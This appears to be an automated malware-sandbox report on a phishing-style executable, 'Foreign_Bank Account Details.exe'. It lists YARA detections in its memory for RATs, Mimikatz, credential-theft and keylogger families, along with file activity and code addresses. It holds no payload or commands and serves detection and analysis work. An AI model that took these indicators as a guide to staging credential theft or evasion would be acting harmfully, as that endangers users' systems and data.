        Source: 35.3.MpSigStub.exe.15b1bc1013a.25.unpack, type: UNPACKEDPEMatched rule: Detects ROKRAT malware Author: Florian Roth
        Source: 35.3.MpSigStub.exe.15b1bc1013a.25.unpack, type: UNPACKEDPEMatched rule: Webshells Auto-generated - file vanquish.exe Author: Yara Bulk Rule Generator by Florian Roth
        Source: 35.3.MpSigStub.exe.15b1bc1013a.25.unpack, type: UNPACKEDPEMatched rule: Red Leaves C&C left in memory, use with Volatility / Rekall Author: David Cannings
        Source: 35.3.MpSigStub.exe.15b1bc1013a.25.unpack, type: UNPACKEDPEMatched rule: gh0st Author: https://github.com/jackcr/
        Source: 35.3.MpSigStub.exe.15b1beda3cf.131.unpack, type: UNPACKEDPEMatched rule: Metasploit Payloads - file msf-psh.vba Author: Florian Roth
        Source: 35.3.MpSigStub.exe.15b1beda3cf.131.unpack, type: UNPACKEDPEMatched rule: Detect the DLL responsible for loading and deobfuscating the DAT file containing shellcode and core REDLEAVES RAT Author: USG
        Source: 35.3.MpSigStub.exe.15b1beda3cf.131.unpack, type: UNPACKEDPEMatched rule: Detects Pupy RAT Author: Florian Roth
        Source: 35.3.MpSigStub.exe.15b1beda3cf.131.unpack, type: UNPACKEDPEMatched rule: Detects Arid Viper malware sample Author: Florian Roth
        Source: 35.3.MpSigStub.exe.15b1beda3cf.131.unpack, type: UNPACKEDPEMatched rule: Detects Pupy backdoor Author: Florian Roth
        Source: 35.3.MpSigStub.exe.15b1beda3cf.131.unpack, type: UNPACKEDPEMatched rule: Detects Mimikatz strings Author: Florian Roth
        Source: 35.3.MpSigStub.exe.15b1beda3cf.131.unpack, type: UNPACKEDPEMatched rule: APT_Backdoor_Win_GORAT_5 Author: FireEye
        Source: 35.3.MpSigStub.exe.15b1beda3cf.131.unpack, type: UNPACKEDPEMatched rule: CredTheft_MSIL_ADPassHunt_2 Author: FireEye
        Source: 35.3.MpSigStub.exe.15b1beda3cf.131.unpack, type: UNPACKEDPEMatched rule: Detects ROKRAT malware Author: Florian Roth
        Source: 35.3.MpSigStub.exe.15b1beda3cf.131.unpack, type: UNPACKEDPEMatched rule: Webshells Auto-generated - file vanquish.exe Author: Yara Bulk Rule Generator by Florian Roth
        Source: 35.3.MpSigStub.exe.15b1beda3cf.131.unpack, type: UNPACKEDPEMatched rule: Red Leaves C&C left in memory, use with Volatility / Rekall Author: David Cannings
        Source: 35.3.MpSigStub.exe.15b1beda3cf.131.unpack, type: UNPACKEDPEMatched rule: PoisonIvy_3 Author: Kevin Breen <kevin@techanarchy.net>
        Source: 35.3.MpSigStub.exe.15b1bc1013a.56.unpack, type: UNPACKEDPEMatched rule: Detects Mini RAT malware Author: Florian Roth
        Source: 35.3.MpSigStub.exe.15b1bc1013a.56.unpack, type: UNPACKEDPEMatched rule: Detect the DLL responsible for loading and deobfuscating the DAT file containing shellcode and core REDLEAVES RAT Author: USG
        Source: 35.3.MpSigStub.exe.15b1bc1013a.56.unpack, type: UNPACKEDPEMatched rule: Detects a ZxShell - CN threat group Author: Florian Roth
        Source: 35.3.MpSigStub.exe.15b1bc1013a.56.unpack, type: UNPACKEDPEMatched rule: XOR loops from Sakula malware Author: David Cannings
        Source: 35.3.MpSigStub.exe.15b1bc1013a.56.unpack, type: UNPACKEDPEMatched rule: Detects Mimikatz strings Author: Florian Roth
        Source: 35.3.MpSigStub.exe.15b1bc1013a.56.unpack, type: UNPACKEDPEMatched rule: APT_Backdoor_Win_GORAT_5 Author: FireEye
        Source: 35.3.MpSigStub.exe.15b1bc1013a.56.unpack, type: UNPACKEDPEMatched rule: Identifies GoRat malware in memory based on strings. Author: FireEye
        Source: 35.3.MpSigStub.exe.15b1bc1013a.56.unpack, type: UNPACKEDPEMatched rule: The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the \'.csproj\' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the public SharpHound3 project. Author: FireEye
        Source: 35.3.MpSigStub.exe.15b1bc1013a.56.unpack, type: UNPACKEDPEMatched rule: Detects ROKRAT malware Author: Florian Roth
        Source: 35.3.MpSigStub.exe.15b1bc1013a.56.unpack, type: UNPACKEDPEMatched rule: Webshells Auto-generated - file vanquish.exe Author: Yara Bulk Rule Generator by Florian Roth
        Source: 35.3.MpSigStub.exe.15b1bc1013a.56.unpack, type: UNPACKEDPEMatched rule: Red Leaves C&C left in memory, use with Volatility / Rekall Author: David Cannings
        Source: 35.3.MpSigStub.exe.15b1bc1013a.56.unpack, type: UNPACKEDPEMatched rule: gh0st Author: https://github.com/jackcr/
        Source: 00000023.00000003.18298177384.0000015B1AD15000.00000004.00000001.sdmp, type: MEMORYMatched rule: Detects Fireball malware - file clearlog.dll Author: Florian Roth
        Source: 00000023.00000003.18299696915.0000015B1AF24000.00000004.00000001.sdmp, type: MEMORYMatched rule: Detects OilRig malware Author: Eyal Sela (slightly modified by Florian Roth)
        Source: 00000023.00000003.18293662919.0000015B1BCD0000.00000004.00000001.sdmp, type: MEMORYMatched rule: Identifies GoRat malware in memory based on strings. Author: FireEye
        Source: 00000023.00000003.18314163408.0000015B1BB45000.00000004.00000001.sdmp, type: MEMORYMatched rule: Keylogger component Author: Microsoft
        Source: 00000023.00000003.18314163408.0000015B1BB45000.00000004.00000001.sdmp, type: MEMORYMatched rule: Hack Deep Panda - htran-exe Author: Florian Roth
        Source: 00000023.00000003.18339366931.0000015B1C174000.00000004.00000001.sdmp, type: MEMORYMatched rule: CredTheft_MSIL_ADPassHunt_2 Author: FireEye
        Source: 00000023.00000003.18425885690.0000015B1BCD0000.00000004.00000001.sdmp, type: MEMORYMatched rule: Detects powershell keyword obfuscated with carets Author: Florian Roth
        Source: 00000023.00000003.18425885690.0000015B1BCD0000.00000004.00000001.sdmp, type: MEMORYMatched rule: Detects unspecified malware sample Author: Florian Roth
        Source: 00000023.00000003.18426889733.0000015B1BBC7000.00000004.00000001.sdmp, type: MEMORYMatched rule: Mirage Identifying Strings Author: Seth Hardy
        Source: 00000023.00000003.18423368163.0000015B1C1B6000.00000004.00000001.sdmp, type: MEMORYMatched rule: Detects Pupy backdoor Author: Florian Roth
        Source: 00000023.00000003.18318671001.0000015B1C4A2000.00000004.00000001.sdmp, type: MEMORYMatched rule: Detects the encryption key for the configuration file used by Exaramel malware as seen in sample e1ff72[... Author: FR/ANSSI/SDO
        Source: 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmp, type: MEMORYMatched rule: Detects OilRig malware Author: Eyal Sela
        Source: 00000023.00000003.18434111043.0000015B1AF23000.00000004.00000001.sdmp, type: MEMORYMatched rule: Xtrem RAT v3.5 Author: Jean-Philippe Teissier / @Jipe_
        Source: 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmp, type: MEMORYMatched rule: Detect the DLL responsible for loading and deobfuscating the DAT file containing shellcode and core REDLEAVES RAT Author: USG
        Source: 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmp, type: MEMORYMatched rule: Red Leaves C&C left in memory, use with Volatility / Rekall Author: David Cannings
        Source: 00000023.00000003.18431805767.0000015B1BFA6000.00000004.00000001.sdmp, type: MEMORYMatched rule: Webshells Auto-generated - file vanquish.exe Author: Yara Bulk Rule Generator by Florian Roth
        Source: 00000023.00000003.18305343223.0000015B1C4E5000.00000004.00000001.sdmp, type: MEMORYMatched rule: Detects Pupy backdoor Author: Florian Roth
        Source: 00000023.00000003.18341085023.0000015B1C4A2000.00000004.00000001.sdmp, type: MEMORYMatched rule: Detects the encryption key for the configuration file used by Exaramel malware as seen in sample e1ff72[... Author: FR/ANSSI/SDO
        Source: 00000023.00000003.18427196191.0000015B1AB46000.00000004.00000001.sdmp, type: MEMORYMatched rule: korlia Author: Nick Hoffman
        Source: 00000023.00000003.18332888598.0000015B1C174000.00000004.00000001.sdmp, type: MEMORYMatched rule: CredTheft_MSIL_ADPassHunt_2 Author: FireEye
        Source: 00000023.00000003.18430797596.0000015B1AE5D000.00000004.00000001.sdmp, type: MEMORYMatched rule: PoisonIvy_3 Author: Kevin Breen <kevin@techanarchy.net>
        Source: 00000023.00000003.18297289690.0000015B1BCD0000.00000004.00000001.sdmp, type: MEMORYMatched rule: Identifies GoRat malware in memory based on strings. Author: FireEye
        Source: 00000023.00000003.18316647369.0000015B1B557000.00000004.00000001.sdmp, type: MEMORYMatched rule: LogKext is an open source keylogger for Mac OS X, a product of FSB software. Author: @mimeframe
        Source: 00000023.00000003.18302210268.0000015B1AF24000.00000004.00000001.sdmp, type: MEMORYMatched rule: Detects OilRig malware Author: Eyal Sela (slightly modified by Florian Roth)
        Source: 00000023.00000003.18317322207.0000015B1B5DB000.00000004.00000001.sdmp, type: MEMORYMatched rule: Detects a ZxShell - CN threat group Author: Florian Roth
        Source: 00000023.00000003.18285687047.0000015B1B29A000.00000004.00000001.sdmp, type: MEMORYMatched rule: CVE_2018_4878_0day_ITW Author: unknown
        Source: 00000023.00000003.18426294063.0000015B1BD11000.00000004.00000001.sdmp, type: MEMORYMatched rule: Detects a ZxShell - CN threat group Author: Florian Roth
        Source: 00000023.00000003.18426294063.0000015B1BD11000.00000004.00000001.sdmp, type: MEMORYMatched rule: gh0st Author: https://github.com/jackcr/
        Source: 00000023.00000003.18309001390.0000015B1AF24000.00000004.00000001.sdmp, type: MEMORYMatched rule: Detects OilRig malware Author: Eyal Sela (slightly modified by Florian Roth)
        Source: 00000023.00000003.18340030081.0000015B1AB4D000.00000004.00000001.sdmp, type: MEMORYMatched rule: Detects Tofu Trojan Author: Cylance
        Source: 00000023.00000003.18327176542.0000015B1B61C000.00000004.00000001.sdmp, type: MEMORYMatched rule: Xtrem RAT v3.5 Author: Jean-Philippe Teissier / @Jipe_
        Source: 00000023.00000003.18428865493.0000015B1A381000.00000004.00000001.sdmp, type: MEMORYMatched rule: Detects Pupy backdoor Author: Florian Roth
        Source: 00000023.00000003.18282376211.0000015B1C133000.00000004.00000001.sdmp, type: MEMORYMatched rule: Detects Crypto Miner strings Author: Florian Roth
        Source: 00000023.00000003.18351572125.0000015B1C174000.00000004.00000001.sdmp, type: MEMORYMatched rule: CredTheft_MSIL_ADPassHunt_2 Author: FireEye
        Source: 00000023.00000003.18282718286.0000015B1C174000.00000004.00000001.sdmp, type: MEMORYMatched rule: CredTheft_MSIL_ADPassHunt_2 Author: FireEye
        Source: 00000023.00000003.18317647190.0000015B1B61C000.00000004.00000001.sdmp, type: MEMORYMatched rule: Xtrem RAT v3.5 Author: Jean-Philippe Teissier / @Jipe_
        Source: 00000023.00000003.18351179947.0000015B1BCD0000.00000004.00000001.sdmp, type: MEMORYMatched rule: Identifies GoRat malware in memory based on strings. Author: FireEye
        Source: 00000023.00000003.18423819335.0000015B1B1FA000.00000004.00000001.sdmp, type: MEMORYMatched rule: Auto-generated rule - file scan copy.pdf.r11 Author: Florian Roth
        Source: 00000023.00000003.18294299849.0000015B1C174000.00000004.00000001.sdmp, type: MEMORYMatched rule: CredTheft_MSIL_ADPassHunt_2 Author: FireEye
        Source: 00000023.00000003.18313512818.0000015B1B346000.00000004.00000001.sdmp, type: MEMORYMatched rule: HackTool_MSIL_SharPersist_2 Author: FireEye
        Source: 00000023.00000003.18306868118.0000015B1AA1D000.00000004.00000001.sdmp, type: MEMORYMatched rule: APT_DeputyDog_Fexel Author: ThreatConnect Intelligence Research Team
        Source: 00000023.00000003.18344475813.0000015B1C1D6000.00000004.00000001.sdmp, type: MEMORYMatched rule: Metasploit Payloads - file msf-psh.vba Author: Florian Roth
        Source: 00000023.00000003.18427547415.0000015B1B8F2000.00000004.00000001.sdmp, type: MEMORYMatched rule: Detects export from Gold Dragon - February 2018 Author: Florian Roth
        Source: 00000023.00000003.18284892419.0000015B1AF67000.00000004.00000001.sdmp, type: MEMORYMatched rule: Detects powershell keyword obfuscated with carets Author: Florian Roth
        Source: 00000023.00000003.18318342429.0000015B1C460000.00000004.00000001.sdmp, type: MEMORYMatched rule: APT_DeputyDog_Fexel Author: ThreatConnect Intelligence Research Team
        Source: 00000023.00000003.18431461093.0000015B1B02B000.00000004.00000001.sdmp, type: MEMORYMatched rule: 9002 Identifying Strings Author: Seth Hardy
        Source: 00000023.00000003.18346153630.0000015B1AB4D000.00000004.00000001.sdmp, type: MEMORYMatched rule: Detects Tofu Trojan Author: Cylance
        Source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTRMatched rule: LogKext is an open source keylogger for Mac OS X, a product of FSB software. Author: @mimeframe
        Source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTRMatched rule: Metasploit Payloads - file msf-psh.vba Author: Florian Roth
        Source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTRMatched rule: Detects powershell keyword obfuscated with carets Author: Florian Roth
        Source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTRMatched rule: Detects Tofu Trojan Author: Cylance
        Source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTRMatched rule: Keylogger - generic rule for a Chinese variant Author: Florian Roth
        Source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTRMatched rule: Detects a ZxShell - CN threat group Author: Florian Roth
        Source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTRMatched rule: Hack Deep Panda - htran-exe Author: Florian Roth
        Source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTRMatched rule: Unidentified Implant by APT29 Author: US CERT
        Source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTRMatched rule: Detects the encryption key for the configuration file used by Exaramel malware as seen in sample e1ff72[... Author: FR/ANSSI/SDO
        Source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTRMatched rule: Detects Pupy backdoor Author: Florian Roth
        Source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTRMatched rule: HackTool_MSIL_SharPersist_2 Author: FireEye
        Source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTRMatched rule: CredTheft_MSIL_ADPassHunt_2 Author: FireEye
        Source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTRMatched rule: Identifies GoRat malware in memory based on strings. Author: FireEye
        Source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTRMatched rule: Webshells Auto-generated - file vanquish.exe Author: Yara Bulk Rule Generator by Florian Roth
        Source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTRMatched rule: probable petya ransomware using eternalblue, wmic, psexec Author: ian.ahl@fireeye.com @tekdefense, nicholas.carr@mandiant.com @itsreallynick
        Source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTRMatched rule: 9002 Identifying Strings Author: Seth Hardy
        Source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTRMatched rule: APT_DeputyDog_Fexel Author: ThreatConnect Intelligence Research Team
        Source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTRMatched rule: Mirage Identifying Strings Author: Seth Hardy
        Source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTRMatched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
        Source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTRMatched rule: gh0st Author: https://github.com/jackcr/
        Source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTRMatched rule: gholeeV1 Author: unknown
        Source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTRMatched rule: http://securityaffairs.co/wordpress/28170/cyber-crime/gholee-malware.html Author: unknown
        Source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTRMatched rule: NetWiredRC Author: Jean-Philippe Teissier / @Jipe_
        Source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTRMatched rule: PoisonIvy_3 Author: Kevin Breen <kevin@techanarchy.net>
        Source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTRMatched rule: CVE_2018_4878_0day_ITW Author: unknown
        Source: C:\Users\user\Desktop\Foreign_Bank Account Details.exeProcess Stats: CPU usage > 98%
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess Stats: CPU usage > 98%
        Source: Foreign_Bank Account Details.exeStatic PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
        Source: MpCmdRun.exe.41.drStatic PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
        Source: MpCopyAccelerator.exe.41.drStatic PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
        Source: MpDlpCmd.exe.41.drStatic PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
        Source: MpCmdRun.exe0.41.drStatic PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
        Source: MpCopyAccelerator.exe0.41.drStatic PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
        Source: MpAsDesc.dll.41.drStatic PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
        Source: MpOAV.dll.41.drStatic PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
        Source: MpUxAgent.dll.41.drStatic PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
        Source: MpAsDesc.dll0.41.drStatic PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
        Source: MpOAV.dll0.41.drStatic PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
        Source: C:\Users\user\Desktop\Foreign_Bank Account Details.exeSection loaded: edgegdi.dll
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: sfc.dll
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeSection loaded: edgegdi.dll
        Source: C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exeSection loaded: edgegdi.dll
        Source: C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exeSection loaded: edgegdi.dll
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\24D82C9E-A161-4073-AC5C-CF18E1F4A1E0\MpSigStub.exeSection loaded: edgegdi.dll
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeSection loaded: edgegdi.dll
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeSection loaded: sfc.dll
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeSection loaded: phoneinfo.dll
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exeFile created: C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\Drivers\WdBoot.sys
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-c45e5da5.exeFile deleted: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\24D82C9E-A161-4073-AC5C-CF18E1F4A1E0\1.1.18500.10_to_1.1.18600.4_mpengine.dll._pJump to behavior
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeCode function: String function: 00007FF650CF0DB4 appears 56 times
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeCode function: String function: 00007FF650CF0D88 appears 41 times
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeCode function: String function: 00007FF650D4BAAC appears 36 times
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeCode function: 42_2_00007FF650CFC444 NtQueryInformationProcess,NtQueryInformationProcess,FindCloseChangeNotification,CloseHandle,
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeCode function: 42_2_00007FF650D05B80 ReadFile,FlushFileBuffers,SetEndOfFile,NtSetInformationFile,
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeCode function: 42_2_00007FF650D05DB4 NtQueryInformationFile,NtQueryInformationFile,RtlNtStatusToDosError,
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeCode function: 42_2_00007FF650CF9FF0 NtSetInformationFile,
        Source: Foreign_Bank Account Details.exe, 00000001.00000000.16839912870.0000000000418000.00000002.00020000.sdmpBinary or memory string: OriginalFilenamefigurmrk.exe vs Foreign_Bank Account Details.exe
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1a7b2b8a.201.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1a7b1586.200.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1a6c67ca.70.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1a6c6d17.71.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1a6c7264.72.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1a6c67ca.166.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1a70f33e.138.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1a6c7264.164.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1a6c6d17.165.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Source: C:\Users\user\Desktop\Foreign_Bank Account Details.exeCode function: 1_2_004012D8
        Source: C:\Users\user\Desktop\Foreign_Bank Account Details.exeCode function: 1_2_00402061
        Source: C:\Users\user\Desktop\Foreign_Bank Account Details.exeCode function: 1_2_004020E7
        Source: C:\Users\user\Desktop\Foreign_Bank Account Details.exeCode function: 1_2_004022E9
        Source: C:\Users\user\Desktop\Foreign_Bank Account Details.exeCode function: 1_2_0040191F
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_012A1130
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_012A4320
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_012ACFD8
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_012AC278
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_012A3A50
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_012A3708
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_0139C5F8
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_017AC5D8
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_017AE33D
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_017A8FE8
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_017A4EB0
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_017AD977
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_017A6519
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_017A9DB8
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_017AFC18
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_017A70E0
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_1D267106
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_1D26B9B0
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_1D263C30
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_1D264068
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_1D266E90
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_1D26C428
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_1D26C328
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_1E2E5E08
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_1E2E53F0
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_1E2E4ACC
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_1E2E5DC1
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_1E2E6AF1
        Source: C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exeCode function: 13_2_00103DFE
        Source: C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exeCode function: 15_2_00F53DFE
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeCode function: 42_2_00007FF650D09278
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeCode function: 42_2_00007FF650CF3728
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeCode function: 42_2_00007FF650CE86BC
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeCode function: 42_2_00007FF650CE9CFC
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeCode function: 42_2_00007FF650CEFF90
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeCode function: 42_2_00007FF650CF1FA8
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeCode function: 42_2_00007FF650CFD038
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeCode function: 42_2_00007FF650D5C21C
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeCode function: 42_2_00007FF650D0B20C
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeCode function: 42_2_00007FF650D10320
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeCode function: 42_2_00007FF650D2A288
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeCode function: 42_2_00007FF650CE1420
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeCode function: 42_2_00007FF650D4E410
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeCode function: 42_2_00007FF650D6837C
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeCode function: 42_2_00007FF650D59520
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeCode function: 42_2_00007FF650D0C52C
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeCode function: 42_2_00007FF650D72504
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeCode function: 42_2_00007FF650D734D4
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeCode function: 42_2_00007FF650D16480
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeCode function: 42_2_00007FF650D62480
